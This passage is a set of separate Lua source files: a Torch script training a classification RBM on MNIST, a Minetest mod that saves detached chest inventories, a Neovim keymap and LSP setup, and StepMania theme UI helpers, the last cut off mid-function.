cmd:option('-learning_rate',0.005,'learning rate')
cmd:option('-momentum',0.5,'momentum')
cmd:option('-L2',0.000022,'L2 decay')
cmd:option('-max_epochs', 60, 'number of full passes through the training data while RBM train')
--cmd:option('-sparsity_decay_rate',0.9,'decay rate for sparsity')
--cmd:option('-sparsity_target',0.08,'sparsity target')
--cmd:option('-sparsity_cost',0.0002,'sparsity cost')
cmd:option('-batch_size',12,'number of sequences to train on in parallel')
cmd:option('-stat_interval',4092,'statistics interval')
cmd:option('-cuda', false,'use CUDA backend')
cmd:option('-opencl', false,'use OpenCL backend')
opt = cmd:parse(arg)
torch.seed()
local trainset = mnist.traindataset()
local testset = mnist.testdataset()
local oneY = torch.Tensor(opt.n_class)
testset['data'] = testset['data']:double():clamp(0,1)
trainset['data'] = trainset['data']:double():clamp(0,1)
testset['label'] = testset['label']:double()
trainset['label'] = trainset['label']:double()
if opt.cuda then
require 'cutorch'
require 'cunn'
testset['data'] = testset['data']:cuda()
testset['label'] = testset['label']:cuda()
trainset['data'] = trainset['data']:cuda()
trainset['label'] = trainset['label']:cuda()
oneY = oneY:cuda()
elseif opt.opencl then
require 'cltorch'
require 'clnn'
testset['data'] = testset['data']:cl()
testset['label'] = testset['label']:cl()
trainset['data'] = trainset['data']:cl()
trainset['label'] = trainset['label']:cl()
oneY = oneY:cl()
end
local validation_size = 256
function reconstruction_test()
local err = 0
for i=1, validation_size do
local index = torch.random(testset.size)
local v1 = testset[index].x:view(opt.n_visible)
local y1 = testset[index].y
oneY:zero()
oneY[y1+1] = 1
local v2, y2 = rbm:forward{v1, oneY}
err = err + (torch.ne(oneY, y2):sum() == 0 and 0 or 1)
end
return (1-err/validation_size)*100
end
function reconstruction_train()
local err = 0
for i=1, validation_size do
local index = torch.random(trainset.size)
local v1 = trainset[index].x:view(opt.n_visible)
local y1 = trainset[index].y
oneY:zero()
oneY[y1+1] = 1
local v2, y2 = rbm:forward{v1, oneY}
err = err + (torch.ne(oneY, y2):sum() == 0 and 0 or 1)
end
return (1-err/validation_size)*100
end
function free_energy_test()
local err = 0
for i=1, validation_size do
local index = torch.random(testset.size)
local v1 = testset[index].x:view(opt.n_visible)
local y1 = testset[index].y
oneY:zero()
oneY[y1+1] = 1
err = err + rbm:freeEnergy(v1, oneY)
end
return err/validation_size
end
function free_energy_train()
local err = 0
for i=1, validation_size do
local index = torch.random(trainset.size)
local v1 = trainset[index].x:view(opt.n_visible)
local y1 = trainset[index].y
oneY:zero()
oneY[y1+1] = 1
err = err + rbm:freeEnergy(v1, oneY)
end
return err/validation_size
end
-- 1) Run RBM train
function train_feval(t)
local index = torch.random(trainset.size)
local v = trainset[index].x:view(opt.n_visible)
local y = trainset[index].y
oneY:zero()
oneY[y+1] = 1
local _, yt = rbm:forward{v, oneY}
local err = torch.ne(oneY, yt):sum() == 0 and 0 or 1
rbm:backward({v, oneY}, nil)
dl_dx:mul(-opt.learning_rate)
rbm.gradWeight:add(torch.mul(rbm.gradWeight, -opt.L2))
rbm.gradUWeight:add(torch.mul(rbm.gradUWeight, -opt.L2))
momentum_update(dl_dx, velocity, x, opt)
--sparsity_update(rbm, qval, {v, oneY}, opt)
return err
end
function store_rbm(params, name)
local target_rbm = ClassRBM(opt.n_visible, opt.n_hidden, opt.n_class)
local p, _ = target_rbm:getParameters()
p:copy(params)
torch.save(name, target_rbm)
end
-- Create RBM
rbm = ClassRBM(opt.n_visible, opt.n_hidden, opt.n_class)
-- Training parameters
weightVelocity = rbm.gradWeight:clone()
vbiasVelocity = rbm.gradVbias:clone()
hbiasVelocity = rbm.gradHbias:clone()
uweightVelocity = rbm.gradUWeight:clone()
dbiasVelocity = rbm.gradDbias:clone()
qval = torch.zeros(opt.n_hidden, 1)
if opt.cuda then
rbm = rbm:cuda()
qval = qval:cuda()
weightVelocity = weightVelocity:cuda()
vbiasVelocity = vbiasVelocity:cuda()
hbiasVelocity = hbiasVelocity:cuda()
uweightVelocity = uweightVelocity:cuda()
dbiasVelocity = dbiasVelocity:cuda()
elseif opt.opencl then
rbm = rbm:cl()
qval = qval:cl()
weightVelocity = weightVelocity:cl()
vbiasVelocity = vbiasVelocity:cl()
hbiasVelocity = hbiasVelocity:cl()
uweightVelocity = uweightVelocity:cl()
dbiasVelocity = dbiasVelocity:cl()
end
velocity = nn.Module.flatten{weightVelocity, vbiasVelocity, hbiasVelocity, uweightVelocity, dbiasVelocity}
x,dl_dx = rbm:getParameters()
histogramValues = {
weight = rbm.weight,
vbias = rbm.vbias,
hbias = rbm.hbias,
uweight = rbm.uweight,
dbias = rbm.dbias,
weightVelocity = weightVelocity,
vbiasVelocity = vbiasVelocity,
hbiasVelocity = hbiasVelocity,
uweightVelocity = uweightVelocity,
dbiasVelocity = dbiasVelocity
}
training_time = trainset.size/2
err = 0; iter = 0; patience = 15; best_val_err = 1/0
best_rbm = torch.Tensor()
best_rbm:resizeAs(x):copy(x)
for epoch=1, opt.max_epochs do
print('train epoch '..epoch)
velocity:zero()
if epoch == math.floor(opt.max_epochs*0.5) then
config.momentum = 0.8
elseif epoch == math.floor(opt.max_epochs*0.72) then
config.momentum = 0.9
end
epoch_err = 0
for t = 0, training_time-1 do
iter = iter + 1
--xlua.progress(t, training_time)
curr_err = train_feval(t)
epoch_err = epoch_err + curr_err
err = err + curr_err
if iter >= opt.stat_interval then
local test = reconstruction_test(rbm)
local train = reconstruction_train(rbm)
local energy_test = free_energy_test(rbm)
local energy_train = free_energy_train(rbm)
print(string.format('%s t=%d loss=%.4f test=%.4f%% train=%.4f%% ftest=%.4f ftrain=%.4f', os.date("%d/%m %H:%M:%S"), t, err/opt.stat_interval, test, train, energy_test, energy_train))
-- reset counters
err = 0; iter = 0
if opt.v then
draw_hist(rbm.mu1, 'mean_hidden-'..epoch..'-'..t, 'pravděpodobnost')
draw_stats(histogramValues, 'hist_'..epoch..'-'..t)
local wm = image.toDisplayTensor{
input=rbm.weight:view(torch.LongStorage{rbm.n_hidden, 28, 28}),
padding=2, nrow=22}
image.save('images/weight-map_'..epoch..'-'..t..'.png', wm)
end
end
end
if epoch_err < best_val_err then
best_val_err = epoch_err
best_rbm:copy(x)
patience = 15
else
patience = patience - 1
print('-> patience=', patience)
if patience < 0 then
break
end
end
if epoch == math.floor(opt.max_epochs*0.5) then
store_rbm(best_rbm, 'models/'..opt.prefix..'trained_rbm_'..epoch..'.dat')
end
end
store_rbm(best_rbm, 'models/'..opt.prefix..'trained_rbm_final.dat')
|
local basedir = minetest.get_worldpath() .. "/detached_chest"
minetest.mkdir(basedir)
local get_save_file = function(playername, channel)
local saneplayername = string.gsub(playername, "[.|/]", "")
local sanechannelname = string.gsub(channel, "[.|/]", "")
minetest.mkdir(basedir .. "/" .. saneplayername)
return basedir .. "/" .. saneplayername .. "/" .. sanechannelname
end
-- playername -> { inv_name = <inv>, inv_name2 = <inv> }
local player_inventories = {}
function detached_chest.get_inventory_name(player, channel)
return player:get_player_name() .. "_" .. channel
end
-- create / get
function detached_chest.setup_inventory(player, channel)
local inv_name = detached_chest.get_inventory_name(player, channel)
local playername = player:get_player_name()
local inv_map = player_inventories[playername]
if not inv_map then
inv_map = {}
player_inventories[playername] = inv_map
end
local inv = inv_map[inv_name]
if not inv then
inv = minetest.create_detached_inventory(inv_name, {}) -- TODO: on_* checks
inv:set_size("main", 8*4)
-- restore
local save_file = get_save_file(playername, inv_name)
local file = io.open(save_file,"r")
if file then
local data = file:read("*a")
local stacks = minetest.deserialize(data)
for i, stack in ipairs(stacks) do
inv:set_stack("main", i, ItemStack(stack))
end
file:close()
end
inv_map[inv_name] = inv
end
return inv
end
-- cleanup
minetest.register_on_leaveplayer(function(player)
local playername = player:get_player_name()
if not player_inventories[playername] then
return
end
for inv_name, inv in pairs(player_inventories[playername]) do
-- persist
local list = inv:get_list("main")
local data = {}
for _, stack in ipairs(list) do
table.insert(data, stack:to_string())
end
local save_file = get_save_file(playername, inv_name)
local file = io.open(save_file,"w")
file:write(minetest.serialize(data))
file:close()
minetest.remove_detached_inventory(inv_name)
player_inventories[playername] = nil
end
end)
|
local U = {}
local sn = { noremap=true, silent=true }
--- General
-- Leader
vim.api.nvim_set_keymap('', '<Space>', '<Nop>', sn)
vim.g.mapleader = ' '
vim.g.maplocalleader = ' '
--- Windows
local fn = vim.fn
local is_win = fn.has('win32') or fn.has('win64')
if (is_win)
then
vim.api.nvim_set_keymap('', '<C-z>', '<Nop>', sn)
end
--- Lsp
vim.api.nvim_set_keymap('n', '<space>e', '<cmd>lua vim.diagnostic.open_float()<CR>', sn)
vim.api.nvim_set_keymap('n', '[d', '<cmd>lua vim.diagnostic.goto_prev()<CR>', sn)
vim.api.nvim_set_keymap('n', ']d', '<cmd>lua vim.diagnostic.goto_next()<CR>', sn)
vim.api.nvim_set_keymap('n', '<space>q', '<cmd>lua vim.diagnostic.setloclist()<CR>', sn)
function U.on_lsp_attach(client, bufnr)
-- Enable completion triggered by <c-x><c-o>
vim.api.nvim_buf_set_option(bufnr, 'omnifunc', 'v:lua.vim.lsp.omnifunc')
-- See `:help vim.lsp.*` for documentation on any of the below functions
vim.api.nvim_buf_set_keymap(bufnr, 'n', 'gD', '<cmd>lua vim.lsp.buf.declaration()<CR>', sn)
vim.api.nvim_buf_set_keymap(bufnr, 'n', 'gd', '<cmd>lua vim.lsp.buf.definition()<CR>', sn)
vim.api.nvim_buf_set_keymap(bufnr, 'n', 'K', '<cmd>lua vim.lsp.buf.hover()<CR>', sn)
vim.api.nvim_buf_set_keymap(bufnr, 'n', 'gi', '<cmd>lua vim.lsp.buf.implementation()<CR>', sn)
vim.api.nvim_buf_set_keymap(bufnr, 'n', '<C-k>', '<cmd>lua vim.lsp.buf.signature_help()<CR>', sn)
vim.api.nvim_buf_set_keymap(bufnr, 'n', '<space>wa', '<cmd>lua vim.lsp.buf.add_workspace_folder()<CR>', sn)
vim.api.nvim_buf_set_keymap(bufnr, 'n', '<space>wr', '<cmd>lua vim.lsp.buf.remove_workspace_folder()<CR>', sn)
vim.api.nvim_buf_set_keymap(bufnr, 'n', '<space>wl', '<cmd>lua print(vim.inspect(vim.lsp.buf.list_workspace_folders()))<CR>', sn)
vim.api.nvim_buf_set_keymap(bufnr, 'n', '<space>D', '<cmd>lua vim.lsp.buf.type_definition()<CR>', sn)
vim.api.nvim_buf_set_keymap(bufnr, 'n', '<space>rn', '<cmd>lua vim.lsp.buf.rename()<CR>', sn)
vim.api.nvim_buf_set_keymap(bufnr, 'n', '<space>ca', '<cmd>lua vim.lsp.buf.code_action()<CR>', sn)
vim.api.nvim_buf_set_keymap(bufnr, 'n', 'gr', '<cmd>lua vim.lsp.buf.references()<CR>', sn)
vim.api.nvim_buf_set_keymap(bufnr, 'n', '<space>f', '<cmd>lua vim.lsp.buf.formatting()<CR>', sn)
end
--- Telescope
vim.api.nvim_set_keymap('n', '<leader>ff', '<cmd>Telescope find_files<cr>', { noremap = true })
vim.api.nvim_set_keymap('n', '<leader>fg', '<cmd>Telescope live_grep<cr>', { noremap = true })
vim.api.nvim_set_keymap('n', '<leader>fb', '<cmd>Telescope buffers<cr>', { noremap = true })
vim.api.nvim_set_keymap('n', '<leader>fh', '<cmd>Telescope help_tags<cr>', { noremap = true })
--- LSP Saga
-- vim.api.nvim_set_keymap('n', 'gh', ':Lspsaga lsp_finder<CR>', sn)
-- vim.api.nvim_set_keymap('n', '<leader>ca', ':Lspsaga code_action<CR>', sn)
-- vim.api.nvim_set_keymap('v', '<leader>ca', ':<C-U>Lspsaga range_code_action<CR>', sn)
-- vim.api.nvim_set_keymap('n', 'K', ':Lspsaga hover_doc<CR>', sn)
-- vim.api.nvim_set_keymap('n', '<C-f>', '<cmd>lua require("lspsaga.action").smart_scroll_with_saga(1)<CR>', sn)
-- vim.api.nvim_set_keymap('n', '<C-b>', '<cmd>lua require("lspsaga.action").smart_scroll_with_saga(-1)<CR>', sn)
-- vim.api.nvim_set_keymap('n', 'gs', ':Lspsaga signature_help<CR>', sn)
-- vim.api.nvim_set_keymap('n', 'gr', ':Lspsaga rename<CR>', sn)
-- vim.api.nvim_set_keymap('n', 'gd', ':Lspsaga preview_definition<CR>', sn)
-- vim.api.nvim_set_keymap('n', '<leader>cd', ':Lspsaga show_line_diagnostics<CR>', sn)
-- vim.api.nvim_set_keymap('n', '[e', ':Lspsaga diagnostic_jump_next<CR>', sn)
-- vim.api.nvim_set_keymap('n', ']e', ':Lspsaga diagnostic_jump_prev<CR>', sn)
-- vim.api.nvim_set_keymap('n', '<A-d>', ':Lspsaga open_floaterm<CR>', sn)
-- vim.api.nvim_set_keymap('t', '<A-d>', '<C-\\><C-n>:Lspsaga close_floaterm<CR>', sn)
return U
|
local text_and_number_interface= {}
local function rotate_color(color, angle)
local hsv= ColorToHSV(color)
hsv.Hue= (hsv.Hue + angle) % 360
return HSVToColor(hsv)
end
local corner_lumas= {2, .5, .5, 2}
local alt_corner_lumas= {2, .5, .5, 2}
local corner_angles= {30, 0, 0, -30}
local alt_corner_angles= {-30, 0, 0, 30}
local function rct_internal(text, color, corners, lumas, angles)
for i, corner in ipairs(corners) do
local new_color= color
new_color= rotate_color(new_color, angles[i])
new_color= adjust_luma(new_color, lumas[i])
text[corner](text, new_color)
end
end
function rot_color_text(text, color)
rct_internal(text, color, {"diffuseupperleft", "diffuseupperright", "diffuselowerleft", "diffuselowerright"}, corner_lumas, corner_angles)
end
function alt_rot_color_text(text, color)
rct_internal(text, color, {"diffuseupperleft", "diffuseupperright", "diffuselowerleft", "diffuselowerright"}, alt_corner_lumas, alt_corner_angles)
end
function normal_text(name, text, color, stroke, tx, ty, z, align, commands)
color= color or fetch_color("text")
tx= tx or 0
ty= ty or 0
z= z or 1
align= align or center
local passed_init= commands and commands.InitCommand
commands= commands or {}
commands.Name= name
commands.Text= text
commands.InitCommand= function(self)
self:xy(tx,ty):zoom(z):horizalign(align):diffuse(color)
if stroke and stroke[4] > 0 then self:strokecolor(stroke) end
maybe_distort_text(self)
if passed_init then passed_init(self) end
end
return LoadFont("Common Normal") .. commands
end
function set_text_from_parts(self, parts)
self:ClearAttributes()
local full_text= ""
for i, part in ipairs(parts) do
full_text= full_text .. part[1]
end
self:settext(full_text)
local curr_pos= 0
for i, part in ipairs(parts) do
local part_len= #part[1]
self:AddAttribute(curr_pos, {Length= part_len, Diffuse= part[2]})
curr_pos= curr_pos + part_len
end
end
function attributed_text(name, x, y, z, align, parts, commands)
local ret= Def.BitmapText{
Name= name, Font= "Common Normal", InitCommand= function(self)
self:xy(x, y):zoom(z):horizalign(align)
set_text_from_parts(self, parts)
maybe_distort_text(self)
if commands.InitCommand then commands.InitCommand(self) end
end
}
for k, v in pairs(commands) do
if k ~= "InitCommand" then
ret[k]= v
end
end
return ret
end
do
local default_params= {
sx= 0, sy= 0, tx= 0, ty= 0, tz= 1, tc= fetch_color("text"), tt= "",
ts= "", ta= right, na= left, tf= "Common Normal", nf= "Common Normal",
text_section= "Misc", nx= 0, ny= 0, nz= 1, nc= fetch_color("text"),
nt= "0" }
function text_and_number_interface:create_actors(name, params)
if not name then return nil end
self.name= name
-- This is to avoid modifying the passed in table, which allows the caller
-- to reuse it.
local real_params= {}
if params then
for k, v in pairs(params) do
real_params[k]= v
end
end
params= real_params
for k, v in pairs(default_params) do
if not params[k] then params[k]= default_params[k] end
end
self.x= params.sx
self.y= params.sy
self.tx= params.tx
self.ts= params.ts
self.nx= params.nx
self.text_section= params.text_section
return Def.ActorFrame{
Name= name,
InitCommand= function(subself)
subself:xy(params.sx, params.sy)
self.container= subself
self.text= subself:GetChild("text")
self.number= subself:GetChild("number")
end,
LoadFont(params.tf) .. {
Name= "text",
Text= self:get_string(params.tt),
InitCommand= function(self)
self:xy(params.tx, params.ty):zoom(params.tz):diffuse(params.tc)
:horizalign(params.ta)
maybe_distort_text(self)
end
},
LoadFont(params.nf) .. {
Name= "number", Text= params.nt,
InitCommand= function(self)
self:xy(params.nx, params.ny):zoom(params.nz):diffuse(params.nc)
:horizalign(params.na)
maybe_distort_text(self)
end
},
}
end
end
function text_and_number_interface:get_string(text)
if not text then text= "" end
local t= get_string_wrapper(self.text_section, text)
if self.upper then
--Trace("Uppering.")
t= t:upper()
end
return t .. self.ts
end
function text_and_number_interface:set_text(text)
if self.text then
self.text:settext(self:get_string(text))
end
end
function text_and_number_interface:set_number(n)
if self.number then
self.number:settext(n)
end
end
function text_and_number_interface:get_widths()
local total= 0
local tw= 0
local nw= 0
if self.text then
tw= self.text:GetZoomedWidth() + math.abs(self.tx)
end
if self.number then
nw= self.number:GetZoomedWidth() + math.abs(self.nx)
end
total= tw + nw
return total, tw, nw
end
function text_and_number_interface:move_to(x, y, time)
if self.container then
if time and time > 0 then
self.container:finishtweening():april_linear(time)
end
self.x= x
self.y= y
self.container:xy(x, y)
end
end
function text_and_number_interface:get_text_actor()
return self.text
end
function text_and_number_interface:get_number_actor()
return self.number
end
function text_and_number_interface:hide()
if self.container then
self.text:diffusealpha(0)
self.number:diffusealpha(0)
end
end
function text_and_number_interface:unhide()
if self.container then
self.text:diffusealpha(1)
self.number:diffusealpha(1)
end
end
text_and_number_interface_mt= { __index= text_and_number_interface }
function width_limit_text(text, limit, natural_zoom)
natural_zoom= natural_zoom or 1
if text:GetWidth() * natural_zoom > limit then
text:zoomx(limit / text:GetWidth())
else
text:zoomx(natural_zoom)
end
end
function width_clip_text(text, limit)
local full_text= text:GetText()
local fits= text:GetZoomedWidth() <= limit
local prev_max= #full_text - 1
local prev_min= 0
if not fits then
while prev_max - prev_min > 1 do
local new_max= math.round((prev_max + prev_min) / 2)
text:settext(full_text:sub(1, 1+new_max))
if text:GetZoomedWidth() <= limit then
prev_min= new_max
else
prev_max= new_max
end
end
text:settext(full_text:sub(1, 1+prev_min))
end
end
function width_clip_limit_text(text, limit, natural_zoom)
natural_zoom= natural_zoom or text:GetZoomY()
local text_width= text:GetWidth() * natural_zoom
if text_width > limit * 2 then
text:zoomx(natural_zoom * .5)
width_clip_text(text, limit)
else
width_limit_text(text, limit, natural_zoom)
end
end
local function is_delim(c)
return c == " " or c == "_" or c == "-" or c == "."
end
function split_string_to_words(s)
local words= {}
s= tostring(s)
for word in s:gmatch("[%w']+") do
words[#words+1]= word
end
if #words < 1 then
words[1]= s
end
return words
end
function rec_calc_actor_extent(aframe, depth)
depth= depth or ""
if not aframe then return 0, 0, 0, 0 end
local halign= aframe:GetHAlign()
local valign= aframe:GetVAlign()
local w= aframe:GetZoomedWidth()
local h= aframe:GetZoomedHeight()
local halignjust= (halign - .5) * w
local valignjust= (valign - .5) * h
local xmin= w * -halign
local xmax= w * (1 - halign)
local ymin= h * -valign
local ymax= h * (1 - valign)
if aframe.GetChildren then
local xz= aframe:GetZoomX()
local yz= aframe:GetZoomY()
local children= aframe:GetChildren()
for i, c in pairs(children) do
if c:GetVisible() then
local cx= c:GetX() + halignjust
local cy= c:GetY() + valignjust
--Trace(depth .. "child " .. i .. " at " .. cx .. ", " .. cy)
local cxmin, cxmax, cymin, cymax= rec_calc_actor_extent(c,depth.." ")
xmin= math.min((cxmin * xz) + cx, xmin)
ymin= math.min((cymin * yz) + cy, ymin)
xmax= math.max((cxmax * xz) + cx, xmax)
ymax= math.max((cymax * yz) + cy, ymax)
end
end
else
--Trace(depth .. "no children")
end
--Trace(depth .. "rec_calc_actor_extent:")
--Trace(depth .. "ha: " .. halign .. " va: " .. valign .. " w: " .. w ..
-- " h: " .. h .. " haj: " .. halignjust .. " vaj: " .. valignjust ..
-- " xmn: " .. xmin .. " xmx: " .. xmax .. " ymn: " .. ymin .. " ymx: "
-- .. ymax)
return xmin, xmax, ymin, ymax
end
function rec_calc_actor_pos(actor)
-- This doesn't handle zooming.
if not actor then return 0, 0 end
local x= actor:GetDestX()
local y= actor:GetDestY()
local wx, wy= 0, 0
if actor.GetNumWrapperStates then
local wrappers= actor:GetNumWrapperStates()
for i= 1, wrappers do
local nitori= actor:GetWrapperState(i)
wx= wx + nitori:GetDestX()
wy= wy + nitori:GetDestY()
end
end
local px, py= rec_calc_actor_pos(actor:GetParent())
return x+px+wx, y+py+wy
end
local frame_tester_interface= {}
frame_tester_interface_mt= { __index= frame_tester_interface }
function frame_tester_interface:create_actors(name, x, y, remaining_depth)
end
function create_frame_quads(label, pad, fw, fh, outer_color, inner_color, fx, fy)
if not fx then fx= fw/2 end
if not fy then fy= fh/2 end
return Def.ActorFrame{
InitCommand=cmd(xy,fx,fy),
Name=label,
Def.Quad{
Name="outer",
InitCommand=cmd(xy,0,0;diffuse,outer_color;setsize,fw,fh)
},
Def.Quad{
Name="inner",
InitCommand=cmd(xy,0,0;diffuse,inner_color;setsize,fw-(pad*2),fh-(pad*2))
}
}
end
local halvable_sides= {top= true, bottom= true}
local function generic_left_half(self)
self:cropright(0.5)
end
local function generic_right_half(self)
self:cropleft(0.5)
end
local function generic_unhalf(self)
self:cropright(0):cropleft(0)
end
local function generic_icon_sprite(button, side, add_to)
local path= THEME:GetPathG("", "button_icons/"..button..".png", true)
if not path or path == "" then return nil end
local icon_scale= misc_config:get_data().cursor_button_icon_size
local args= {
Name= button, Texture= path, InitCommand= function(self)
add_to[#add_to+1]= {side, self}
scale_to_fit(self, 16 * icon_scale, 16 * icon_scale)
self:diffusealpha(.5)
if side == "top" then
self:vertalign(bottom)
elseif side == "bottom" then
self:vertalign(top)
elseif side == "left" then
self:horizalign(right)
elseif side == "right" then
self:horizalign(left)
end
end,
}
if halvable_sides[side] then
args.LeftCommand= generic_left_half
args.RightCommand= generic_right_half
args.FullCommand= generic_unhalf
end
return Def.Sprite(args)
end
local arrow_h= 8
local full_arrow_verts= {
left= {-arrow_h, 0, 0, arrow_h, 0, -arrow_h},
right= {arrow_h, 0, 0, -arrow_h, 0, arrow_h},
top= {0, -arrow_h, -arrow_h, 0, arrow_h, 0},
bottom= {0, arrow_h, arrow_h, 0, -arrow_h, 0},
}
local left_half_arrow_verts= {
left= full_arrow_verts.left,
right= {0, 0, 0, 0, 0, 0},
top= {0, -arrow_h, -arrow_h, 0, 0, 0},
bottom= {0, arrow_h, 0, 0, -arrow_h, 0},
}
local right_half_arrow_verts= {
left= {0, 0, 0, 0, 0, 0},
right= full_arrow_verts.right,
top= {0, -arrow_h, 0, 0, arrow_h, 0},
bottom= {0, arrow_h, arrow_h, 0, 0, 0},
}
local function generic_arrow(button, side, add_to, add_approaches, cursor_self)
return Def.ActorMultiVertex{
Name= button, InitCommand= function(self)
add_to[#add_to+1]= {side, self}
self:SetDrawState{Mode= "DrawMode_Triangles"}:SetNumVertices(3)
add_approaches(cursor_self, 3)
end,
RefitCommand= noop_blank,
LeftCommand= function(self, param)
cursor_self:set_verts_for_part(param[1], left_half_arrow_verts[side])
end,
RightCommand= function(self, param)
cursor_self:set_verts_for_part(param[1], right_half_arrow_verts[side])
end,
FullCommand= function(self, param)
cursor_self:set_verts_for_part(param[1], full_arrow_verts[side])
end,
}
end
local vert_speed= 512
local function handle_approach(currents, goals, delta)
local speeds= {}
for i= 1, #currents do
speeds[i]= vert_speed;
end
if get_music_file_length then
multiapproach(currents, goals, speeds, delta)
else
multiapproach(currents, goals, speeds)
end
end
local function align_x(x, align, w)
return x + (align * w)
end
local pulse_cycle= 1
local move_time= 0.1
cursor_mt= {
__index= {
create_actors= function(
self, name, x, y, t, main, hilight, button_list, align)
self.main_color= main or fetch_color("player.both")
self.hilight_color= hilight or fetch_color("player.hilight")
self.x= x
self.x= y
self.align= align or 0
self.w= 0
self.h= 0
self.t= t
self.hw= 0
self.hh= 0
self.sprite_parts= {}
self.parts= {}
self.part_ranges= {}
self.currents= {}
self.goals= {}
self.corner_currents= {0, 0, 0, 0}
self.corner_goals= {0, 0, 0, 0}
self.update= function(frame, delta)
local lerp_t= self.pulse_time / pulse_cycle
self.pulse_time= self.pulse_time + delta
self.curr_color= lerp_color(lerp_t, self.start_color, self.goal_color)
self.curr_alpha= lerp(lerp_t, self.start_alpha, self.goal_alpha)
-- I think something is causing a negative delta.
self.curr_thick= math.abs(lerp(lerp_t, self.start_thick, self.goal_thick))
handle_approach(self.currents, self.goals, delta)
handle_approach(self.corner_currents, self.corner_goals, delta)
for i= 1, #self.parts do
self:update_part(i, self.parts[i])
self:position_part(self.parts[i])
end
for i= 1, #self.sprite_parts do
self:position_part(self.sprite_parts[i])
self.sprite_parts[i][2]:diffusealpha(self.curr_alpha)
end
if self.pulse_time > pulse_cycle then
self:reverse_pulse()
end
end
self:start_pulse()
local args= {
Name= "cursor", InitCommand= function(subself)
self.container= subself
subself:xy(x, y):SetUpdateFunction(self.update)
self:un_half()
end,
LoadActor(THEME:GetPathG("", "cursor_outline.lua"), {self= self}),
}
for i, button_info in ipairs(button_list) do
-- button_info= {side, button}
-- side= "left" or "top" or "right" or "bottom"
local sprite= generic_icon_sprite(
button_info[2], button_info[1], self.sprite_parts)
if sprite then
args[#args+1]= sprite
else
args[#args+1]= generic_arrow(
button_info[2], button_info[1], self.parts, self.add_approaches,
self)
end
end
return Def.ActorFrame(args)
end,
start_pulse= function(self)
self.start_color= self.main_color
self.goal_color= self.hilight_color
self.start_alpha= 1
self.goal_alpha= 0
self.start_thick= self.t*2
self.goal_thick= self.t
self.pulse_time= 0
end,
reverse_pulse= function(self)
self.start_color, self.goal_color= self.goal_color, self.start_color
self.start_thick, self.goal_thick= self.goal_thick, self.start_thick
self.start_alpha, self.goal_alpha= self.goal_alpha, self.start_alpha
self.pulse_time= 0
end,
add_approaches= function(self, vert_count)
table.insert(self.part_ranges, {#self.currents, vert_count})
for i, tab in ipairs{self.currents, self.goals} do
for v= 1, vert_count*2 do
table.insert(tab, 0)
end
end
end,
update_part= function(self, id, part)
local range= self.part_ranges[id]
local start= range[1]
local currs= self.currents
local verts= {}
for v= 0, range[2]-1 do
local i= start+(v*2)
table.insert(verts, {{currs[i+1], currs[i+2], 0}, self.curr_color})
end
part[2]:SetVertices(verts):SetLineWidth(self.curr_thick)
end,
position_part= function(self, part)
local corcur= self.corner_currents
local xadd= ({none= 0, left= corcur[1], right= corcur[3],
top= 0, bottom= 0})[part[1]]
local yadd= ({none= 0, left= 0, right= 0, top= corcur[2],
bottom= corcur[4]})[part[1]]
if part[1] ~= "none" then
xadd= align_x(xadd, self.align, corcur[3] - corcur[1])
end
part[2]:xy(xadd, yadd)
end,
set_verts_for_part= function(self, id, verts)
local start= self.part_ranges[id][1]
local goals= self.goals
for v= 1, #verts do
if v % 2 == 1 then
goals[start+v]= align_x(verts[v], self.align, self.w)
else
goals[start+v]= verts[v]
end
end
end,
refit= function(self, nx, ny, nw, nh)
nx= nx or self.container:GetX()
ny= ny or self.container:GetY()
local new_size= ((nw and (self.w ~= nw)) or (nh and (self.h ~= nh)))
self.x= nx
self.y= ny
self.w= nw or self.w
self.h= nh or self.h
self.hw= self.w/2
self.hh= self.h/2
self.corner_goals= {
align_x(-self.hw, self.align, self.w), -self.hh,
align_x(self.hw, self.align, self.w), self.hh,
}
local secs_into_pulse= self.container:GetSecsIntoEffect()
local remain= pulse_cycle - secs_into_pulse
self.container:stoptweening():april_linear(move_time):xy(nx, ny)
if new_size then
for i= 1, #self.parts do
self.parts[i][2]:playcommand("Refit", {i})
end
end
end,
left_half= function(self)
for i= 1, #self.parts do
self.parts[i][2]:playcommand("Left", {i})
end
for i= 1, #self.sprite_parts do
self.sprite_parts[i][2]:playcommand("Left")
end
end,
right_half= function(self)
for i= 1, #self.parts do
self.parts[i][2]:playcommand("Right", {i})
end
for i= 1, #self.sprite_parts do
self.sprite_parts[i][2]:playcommand("Right")
end
end,
un_half= function(self)
for i= 1, #self.parts do
self.parts[i][2]:playcommand("Full", {i})
end
for i= 1, #self.sprite_parts do
self.sprite_parts[i][2]:playcommand("Full")
end
end,
hide= function(self)
for i= 1, #self.parts do
self.parts[i][2]:visible(false)
end
for i= 1, #self.sprite_parts do
self.sprite_parts[i][2]:visible(false)
end
end,
unhide= function(self)
for i= 1, #self.parts do
self.parts[i][2]:visible(true)
end
for i= 1, #self.sprite_parts do
self.sprite_parts[i][2]:visible(true)
end
end,
set_parts_vis= function(self, sides, part_list, vis)
for i= 1, #part_list do
if string_in_table(part_list[i][1], sides) then
part_list[i][2]:visible(vis)
end
end
end,
set_sides_vis= function(self, sides, vis)
self:set_parts_vis(sides, self.parts, vis)
self:set_parts_vis(sides, self.sprite_parts, vis)
end
}}
amv_outline_mt= {
__index= {
create_actors= function(self, name, x, y, w, h, t, color)
x= x or 0
y= y or 0
w= w or 0
h= h or 0
t= t or 0
color= color or fetch_color("player.both")
self.name= name
self.w= w
self.h= h
self.t= t
return Def.ActorMultiVertex{
Name= name,
InitCommand= function(subself)
self.container= subself
-- 6 verts, so the cursor can easily be cut in half.
subself:xy(x, y):SetVertices{
{{0, -h/2, 0}, color},
{{w/2, -h/2, 0}, color},
{{w/2, h/2, 0}, color},
{{0, h/2, 0}, color},
{{-w/2, h/2, 0}, color},
{{-w/2, -h/2, 0}, color},
{{0, -h/2, 0}, color},
}
:SetLineWidth(t):SetDrawState{Mode= "DrawMode_LineStrip"}
end
}
end,
refit= function(self, nx, ny, nw, nh)
nx= nx or self.container:GetX()
ny= ny or self.container:GetY()
nw= nw or self.w
nh= nh or self.h
self.w= nw
self.h= nh
self.container:finishtweening()
self.container:april_linear(0.05)
self.container:xy(nx, ny)
self.container:SetVertices{
{{0, -nh/2, 0}},
{{nw/2, -nh/2, 0}},
{{nw/2, nh/2, 0}},
{{0, nh/2, 0}},
{{-nw/2, nh/2, 0}},
{{-nw/2, -nh/2, 0}},
{{0, -nh/2, 0}},
}
end,
recolor= function(self, color)
if color then
self:SetVertices{{color}, {color}, {color}, {color}, {color}, {color}, {color}}
end
end,
rethicken= function(self, thickness)
